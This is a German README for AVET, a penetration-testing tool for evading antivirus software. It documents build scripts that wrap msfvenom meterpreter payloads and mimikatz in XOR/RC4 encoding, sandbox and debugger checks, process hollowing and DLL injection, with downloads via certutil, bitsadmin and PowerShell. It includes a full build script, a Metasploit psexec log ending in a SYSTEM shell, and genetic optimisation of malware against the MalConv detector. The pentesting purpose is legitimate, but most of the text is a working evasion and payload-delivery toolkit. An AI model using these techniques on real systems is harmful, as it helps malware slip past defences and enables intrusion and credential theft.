
Antivirus-Umgehungstool
AVET ist ein AntiVirus Evasion Tool, das entwickelt wurde, um Pentestern das Leben zu erleichtern und mit Techniken zur Umgehung von Antivirensoftware sowie anderen Methoden, die von Schadsoftware verwendet werden, zu experimentieren. Eine Übersicht über die neuen Funktionen in v2.4 sowie frühere Versionserweiterungen finden Sie in der CHANGELOG-Datei.
Nicht alle Techniken umgehen jede AV-Engine. Wenn eine Technik oder ein Build-Skript nicht funktioniert, testen Sie bitte eine andere. Experimentieren Sie ruhig! Immerhin ist dies ein Werkzeugkasten - den Hammer sollten Sie jedoch selbst führen.
Die Installationsanleitung gilt für Kali 64bit und tdm-gcc!
Sie können das Setup-Skript verwenden:```bash ./setup.sh
Dies sollte Sie automatisch in Gang bringen, indem wine installiert/konfiguriert und tdm-gcc installiert wird.
Sie werden kurz darauf durch die GUI des tdm-gcc-Installers klicken müssen – die Standardeinstellungen sollten in Ordnung sein.
Das Skript wird auch fragen, ob Sie die Abhängigkeiten von AVET installieren möchten, die für die Verwendung einiger Build-Skripte benötigt werden. Die heruntergeladenen Abhängigkeiten werden in separaten Ordnern neben dem avet-Ordner abgelegt.
Die Abhängigkeiten werden die neuesten Versionen von:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
Falls Sie aus irgendeinem Grund wine und tdm-gcc manuell installieren möchten:
- [So installieren Sie tdm-gcc mit wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Falls Sie Kali nicht verwenden oder Metasploit nicht auf Ihrem System installieren möchten, können Sie stattdessen den Docker-Container verwenden.
Der Container kapselt Metasploit und avet, und die Beispiele werden in Ihrem aktuellen Verzeichnis erstellt.
Es ist auch möglich, einen grafischen Texteditor wie gedit zu verwenden.
Erstellen des Containers:```bash
sudo docker build -t avet:v0.1 .
Verwendung:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
Für eine bessere Erfahrung wird empfohlen, dies zu aliasen.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py ist ein kleines Python-Dienstprogramm, das entwickelt wurde, um Ihnen bei der Verwendung des Tools zu helfen.
Es listet alle Skripte auf, die sich derzeit im Build-Ordner befinden. Nachdem Sie eines ausgewählt haben, können Sie das Skript Zeile für Zeile durchgehen und haben die Möglichkeit, den Inhalt spontan zu ändern.
Letzteres ist besonders nützlich, da Sie jedes Mal, wenn Sie ein Build-Skript über die Fabric ausführen, neue LHOST- und LPORT-Variablen für msfvenom definieren können.
Sie können Standard-LHOST- und LPORT-Werte in der Datei /build/global_connect_config.sh definieren, die verwendet werden, wenn Sie sie nicht neu definieren.
Diese Änderungen sind vorübergehend, was bedeutet, dass alle von Ihnen vorgenommenen Änderungen nicht dauerhaft im Build-Skript auf der Festplatte gespeichert werden. Die modifizierte Version wird einmal ausgeführt und Ihr Executable erstellt.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET auf normale Weise
Natürlich ist es möglich, alle Befehle Schritt für Schritt über die Befehlszeile auszuführen. Im Ordner "build" finden Sie jedoch vorkonfigurierte Build-Skripte für relevante Anwendungsfälle.
Die Build-Skripte selbst sind so geschrieben, dass sie aus dem avet-Verzeichnis heraus aufgerufen werden müssen:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
Sie können Standardwerte für LHOST und LPORT für Metasploit-Payloads in der Datei /build/global_connect_config.sh definieren, die verwendet werden, wenn Sie sie nicht neu definieren.
Generieren Sie eine ausführbare Datei für 32-Bit-Process Hollowing in zwei Schritten (wie in build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):
Erzeugen Sie zunächst das Hollowing-Payload mit AVET:
Zweitens erstellen Sie die ausführbare „Dropper“-Datei, die das Payload des ersten Schritts per Hollowing bereitstellt:
Sie erhalten also ein zweischichtiges, umgebungsgeprüftes und verschlüsseltes meterpreter-Payload, das in einen Prozess Ihrer Wahl gehollowt wird. Während die Einstellungen im Build-Script hauptsächlich Demonstrationszwecken dienen, gibt es viele Flexibilitätsmöglichkeiten, um Ihre generierte ausführbare Datei durch einfache Änderungen am Build-Script anzupassen.
Sie könnten die Methoden zum Datenabruf austauschen: Anstatt die meisten Daten statisch in die ausführbare Datei zu kompilieren, könnten Sie Ihr Hollowing-Payload per PowerShell herunterladen, den Entschlüsselungsschlüssel per Sockets herunterladen, andere Verschlüsselung oder Umgebungsprüfungen verwenden usw.
Oder versuchen Sie, durch eine dritte Build-Iteration weitere Umgehungsschichten hinzuzufügen. Oder tauschen Sie das Payload aus. Möchten Sie stattdessen Mimikatz verwenden? Konvertieren Sie es über https://github.com/hasherezade/pe_to_shellcode in Shellcode und ändern Sie das Payload im Build-Script.
Natürlich können Sie auch minimalistischere Builds entwerfen, wie die Ausführung von unverschlüsseltem Shellcode mit nur einer Umgebungsprüfung, oder vielleicht reichen 50 Iterationen von Shikata aus, um Ihr Ziel zu erreichen? Wählen/ändern Sie die Build-Scripts passend zu Ihren Bedürfnissen.
Im Folgenden finden Sie eine Liste aller derzeit mitgelieferten Build-Scripts. Die Namen sollten auf die Funktionalität jedes Skripts hinweisen. Ausführliche Informationen finden Sie in den Kommentaren in den Skripten. Sie können Ihre eigenen Build-Scripts ändern/schreiben, um Ihre benutzerdefinierte ausführbare Datei zu erstellen!
Diese Methoden sind mit allen Datenquellen von AVET kompatibel und können als solche im Build-Skript verwendet werden.
Einige Beispiele:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
Wenn Features übersprungen/nicht verwendet werden, müssen Sie stattdessen ein NOP-ähnliches Verhalten angeben:```
set_command_source no_data
set_command_exec no_command
Die Daten werden aus einer Datei abgerufen und statisch in die generierte ausführbare Datei kompiliert. Damit dies funktioniert, müssen die Daten zur Kompilierzeit als C-ähnliches Array bereitgestellt werden, wie``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
Die Daten werden statisch in die generierte ausführbare Datei kompiliert,
aus dem angegebenen Argument im Build-Skript abgerufen.
#### dynamic_from_file
Die Daten werden zur Laufzeit aus einer Datei gelesen.
#### from_command_line_hex
Ruft Daten aus einem Hex-String im Format "11aabb22.." ab (von der Kommandozeile).
#### from_command_line_raw
Ruft Daten aus einem Kommandozeilenargument ab. Der angegebene ASCII-String wird als rohe Byte-Daten interpretiert.
#### download_certutil
Lädt Daten von einer angegebenen URI herunter, mittels ```certutil.exe -urlcache -split -f```.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.
#### download_curl
Lädt die Daten mit curl herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.
#### download_internet_explorer
Lädt Daten von einer angegebenen URL mit Internet Explorer herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.
#### download_powershell
Lädt Daten von einer angegebenen URI über PowerShell herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.
#### download_socket
Lädt die Daten von einer angegebenen URI über Sockets herunter.
Die Daten werden direkt in den Speicher gelesen, es wird keine Datei auf der Festplatte abgelegt.
#### download_bitsadmin
Lädt die Daten mit dem Windows-Dienstprogramm BITSAdmin herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.
### Methoden zur Payload-Ausführung
Wie die Payload ausgeführt/ausgeliefert wird. Die Injektions-/Hollowing-Methoden benötigen zusätzliche Informationen über das Injektionsziel, die über ```set_payload_info_source <the_info>``` angegeben werden können (siehe Datenabrufmethoden).
#### exec_shellcode
Führt 32-Bit-Shellcode mit einer C-Funktionsbindung aus.
#### exec_shellcode64
Führt 64-Bit-Shellcode mit einer C-Funktionsbindung und VirtualProtect aus.
#### exec_shellcode_ASCIIMSF
Führt ASCIIMSF-kodierten Shellcode über ```call eax``` aus.
#### hollowing32
Erzeugt einen neuen Prozess, schneidet das ursprüngliche Image aus und höhlt die angegebene Payload in den neuen Prozess ein.
Die Payload ist ein 32-Bit-Ausführungsimage. Funktioniert auf 32-Bit-Zielen.
#### hollowing64
Gleich wie hollowing32, jedoch mit 64-Bit-PE-Payloads für 64-Bit-Zielprozesse.
#### inject_dll
Injiziert eine DLL in einen Zielprozess mittels ```CreateRemoteThread```.
Die Injektion funktioniert jeweils für 32-Bit-Payloads in 32-Bit-Prozesse und 64-Bit-Payloads in 64-Bit-Prozesse.
#### inject_shellcode
Injiziert Shellcode in einen Zielprozess mittels ```CreateRemoteThread```.
Die Injektion funktioniert jeweils für 32-Bit-Shellcode in 32-Bit-Prozesse und 64-Bit-Shellcode in 64-Bit-Prozesse.
### Verschlüsselung und Kodierung
AVET stellt Encoder für jedes Schema bereit, die vor der Kompilierung/Auslieferung auf die Payload angewendet werden können.
Bei der Ausführung deobfuskiert der angegebene Decoder dann die Payload zur Laufzeit wieder.
Hier ein RC4-Beispiel, bei dem der Entschlüsselungsschlüssel zur Ausführungszeit im Hex-Format von der Kommandozeile abgerufen wird:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
Sie können die Kodierungsfunktion auch überspringen, indem Sie den Shellcode nicht weiter kodieren und Folgendes festlegen:``` set_key_source no_data set_decoder none
#### xor
Rolling XOR, Unterstützung für Multi-Byte-Schlüssel.
#### avet
Benutzerdefinierte Kodierung, Neuinterpretation des ASCII-Formats.
#### rc4
RC4-Verschlüsselung/-Entschlüsselung mit flexibler Schlüssellänge.
### Debugger- und Sandbox-Umgehung
Dies sind Umgebungsprüfungen, die vor der eventuellen Kodierung und Ausführung der Payload durchgeführt werden.
Wird eine ungünstige Ausführungsumgebung erkannt (z. B. eine AV-Sandbox), wird die Ausführung beendet.
Derzeit können Sie bis zu 10 Prüfungen beliebig in die Warteschlange einreihen. Die mehrmalige Verwendung derselben Technik wird unterstützt.
Das Warteschlangenlimit *EVASION_ARRAY_SIZE* kann jedoch problemlos in *avet.c* geändert werden.
#### is debugger present
Überprüft mit der Funktion isDebuggerPresent(), ob ein Debugger vorhanden ist.
Beendet, wenn zutreffend.```
add_evasion is_debugger_present
Schlafe für eine bestimmte Zeit vor der Ausführung. Die Dauer(in Sekunden) kann im Build-Skript angegeben werden, wie```
add_evasion evasion_by_sleep 3
#### Schlaf durch Ping
Hält die Ausführung des Programms für die angegebenen Sekunden an, indem ein zeitgesteuerter Ping-Befehl an localhost gesendet wird.
Das Programm pingt einmal pro Sekunde.```
add_evasion sleep_by_ping 4
Überprüft, ob die Sandbox schnelles Vorwärtsspulen (Fast Forwarding) nutzt, um die Heuristik-Prüfzeit zu reduzieren. Lokale Zeit und Schlaf werden verwendet.``` add_evasion check_fast_forwarding
#### get tickcount
Überprüft, ob die Sandbox Fast Forwarding verwendet, um die Heuristik-Prüfzeit zu reduzieren. Betriebszeit und Sleep werden verwendet.```
add_evasion get_tickcount
Benutzername abrufen und mit angegebenem Benutzernamen vergleichen. Beenden, wenn es nicht übereinstimmt.``` add_evasion has_username 'IEUser'
#### Messagebox
Erzeugt eine einfache Messagebox vor der Ausführung. Wenn die Arithmetik nicht korrekt gelöst wird, beendet sich das Programm.```
add_evasion interaction_msg_box
Warte, bis die Eingabe mittels getchar geliefert wird.``` add_evasion interaction_getchar
#### system pause
Führt system("pause") aus, was bewirkt, dass die gestartete cmd (und unser Hauptprozess) auf einen beliebigen Tastendruck wartet.```
add_evasion interaction_system_pause
Überprüft, ob eine Datei existiert. Falls nicht gefunden, Ausführung stoppen. Der Dateiname kann im Build-Skript angegeben werden, wie``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### BIOS-Info
Prüft, ob die SMBIOS-Firmwaretabelle abgerufen werden kann. Stoppt die Ausführung, falls nicht.```
add_evasion get_bios_info
Versuchen Sie, einen Hostnamen Ihrer Wahl aufzulösen. Wenn gethostbyname einen Wert ungleich NULL zurückgibt, stoppen Sie die Ausführung. Der zu überprüfende Hostname kann im Build-Skript angegeben werden, wie``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
Überprüft die Anzahl der CPU-Kerne auf dem Ziel. Wenn die Anzahl niedriger als der angegebene Wert ist, stoppt die Ausführung.```
add_evasion get_cpu_cores 2
Prüft auf herstellerspezifische MAC-Präfixe. Falls welche identifiziert werden, wird die Ausführung gestoppt.``` add_evasion has_vm_mac
#### has_vm_regkey
Überprüft auf herstellerspezifische Registry-Schlüssel. Wenn welche identifiziert werden, wird die Ausführung gestoppt.```
add_evasion has_vm_regkey
Keine wirklich echte Umgehungstechnik, verbirgt aber dein Konsolenfenster ;)``` add_evasion hide_console
#### Installationsdatum
Installationsdatum von Windows abrufen und mit dem angegebenen vergleichen. Wenn die Daten nicht übereinstimmen, wird die Ausführung gestoppt. Das Datum muss im Format dd/mm/yyyy angegeben werden.```
add_evasion get_install_date '24/11/2007'
Zählen Sie die Anzahl der laufenden Prozesse. Wenn die Anzahl der Prozesse kleiner als der angegebene Schwellenwert ist, stoppen Sie die Ausführung.``` add_evasion get_num_processes 50
#### Standardbrowser
Lies den Registrierungsschlüssel aus, um den Standardbrowser zu ermitteln. Wenn der Browser nicht mit dem angegebenen Wert übereinstimmt, stoppe die Ausführung. Mögliche Werte sind MSEdgeHTM, Firefox oder ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
Fragt die DNS-Domäne ab, in der sich das Ziel befindet. Wenn sich das Ziel nicht in der erwarteten (wie angegebenen) Domäne befindet, wird das Programm beendet.``` add_evasion get_computer_domain 'domain.com'
#### Berechnung
Fibonacci
Berechne angegebene Iterationen der Fibonacci-Reihe.
Wird wahrscheinlich bei größerem n aufgrund von Integer-Grenzen falsche Ergebnisse liefern.```
# 10 iterations
add_evasion computation_fibonacci 10
Zeitgesteuerte Fibonacci```
add_evasion computation_timed_fibonacci 20
#### Ordner und mehr
Überprüfen, ob das Artefakt existiert, andernfalls Ausführung stoppen. Pfade müssen im Unix-Stil sein.
Hintergrundbild:```
add_evasion has_background_wp
Prüfen auf Ordner:``` add_evasion has_folder 'C:/Users/user/Downloads/'
Auf öffentlichen Desktop prüfen:```
add_evasion has_public_desktop
Auf Papierkorb prüfen``` add_evasion has_recycle_bin
Auf aktuellen Dateiordner prüfen```
add_evasion has_recent_files
Netzwerklaufwerk überprüfen``` add_evasion has_network_drive
### Zusätzliche Befehlsausführung
Ermöglicht es Ihnen, direkt nach den eventuellen Sandbox-Umgehungsfunktionen eine zusätzliche cmd/powershell-Payload auszuführen.
Die Payload-Quelle ist kompatibel mit den Datenabrufmethoden von AVET.
Das folgende Beispiel lädt eine powershell-Payload über BITSAdmin herunter:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
Nimmt Rohdaten aus einer Datei entgegen, konvertiert sie in das C-Array-Format und schreibt die Ausgabe in eine andere Datei. Dies hilft, das korrekte Format für die Datenabrufmethode static_from_file bereitzustellen.
Dienstprogramm zur Schlüsselerzeugung. Erzeugt entweder einen (nicht kryptografisch sicheren) zufälligen Schlüssel oder nimmt einen voreingestellten Schlüssel entgegen und gibt die Rohschlüsseldaten in eine angegebene Datei aus. Dies hilft, Schlüsselmaterial für die AVET-Verschlüsselungsfunktion bereitzustellen.
Dienstprogramm aus AVET 1.3, das die AVET-Kodierung durchführt.
AVET ist kompatibel mit dem psexec-Modul von Metasploit. Dazu muss die generierte ausführbare Datei als Windows-Dienst kompiliert werden, was durch die Verwendung von avetsvc.c implementiert wird. Betrachten Sie das entsprechende Beispiel-Build-Skript
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
Und auf der metasploit-Seite:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
Adversarial examples sind speziell entwickelte Eingaben mit dem Zweck, maschinelle Lernmodelle zu Fehlklassifikationen zu führen.
Um diese Methode zu verwenden, erstellen Sie bitte eine virtuelle Umgebung und installieren Sie die benötigten Abhängigkeiten aus requirements.txt.
Fünf funktionsbewahrende Manipulationen für PE-Dateien sind verfügbar:

Um die praktische Manipulation auf die Malware mit injizierten zufälligen Bytes anzuwenden, verwenden Sie den Befehl gen_adversarial_exe gefolgt vom Namen der praktischen Manipulation und dem Pfad zur Datei als Parameter.
Verfügbare Manipulationen sind full_dos, extend, shift, padding, section_injection.
Zum Beispiel:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### Genetische Optimierung
Anstatt zufälligen Inhalt zu injizieren, ist es möglich, den Inhalt zu optimieren, um eine höhere Wahrscheinlichkeit der Umgehung zu erreichen.
Der Optimierer extrahiert gutartige Abschnitte aus Goodware und verwendet einen genetischen Algorithmus, um den injizierten Inhalt zu optimieren.
Der Inhalt wird gegen MalConv optimiert, einen statischen, maschinenlernbasierten Detektor, der auf einem Convolutional Neural Network basiert.
Die verwendete MalConv-Implementierung stammt aus der Bibliothek [SecML Malware](https://github.com/pralab/secml_malware).
Goodware ist erforderlich und sollte in den Ordner `input/goodware_samples` gelegt werden.
Der [DikeDataset](https://github.com/iosifache/DikeDataset) ist beispielsweise eine gute Quelle, um gutartige ausführbare Dateien zu erhalten. Je mehr, desto besser, aber 100 ist für Testzwecke ausreichend.
Um den Optimierer zu verwenden, nutzen Sie den Befehl `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
Mögliche Optionen:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
Weitere Informationen zu adversarial examples, genetischer Optimierung und MalConv finden Sie hier:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)
## Mehr
---
Für Grundlagen zur Antivirus-Umgehung, AVET und weitere Informationen schauen Sie hier (meist für Version 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)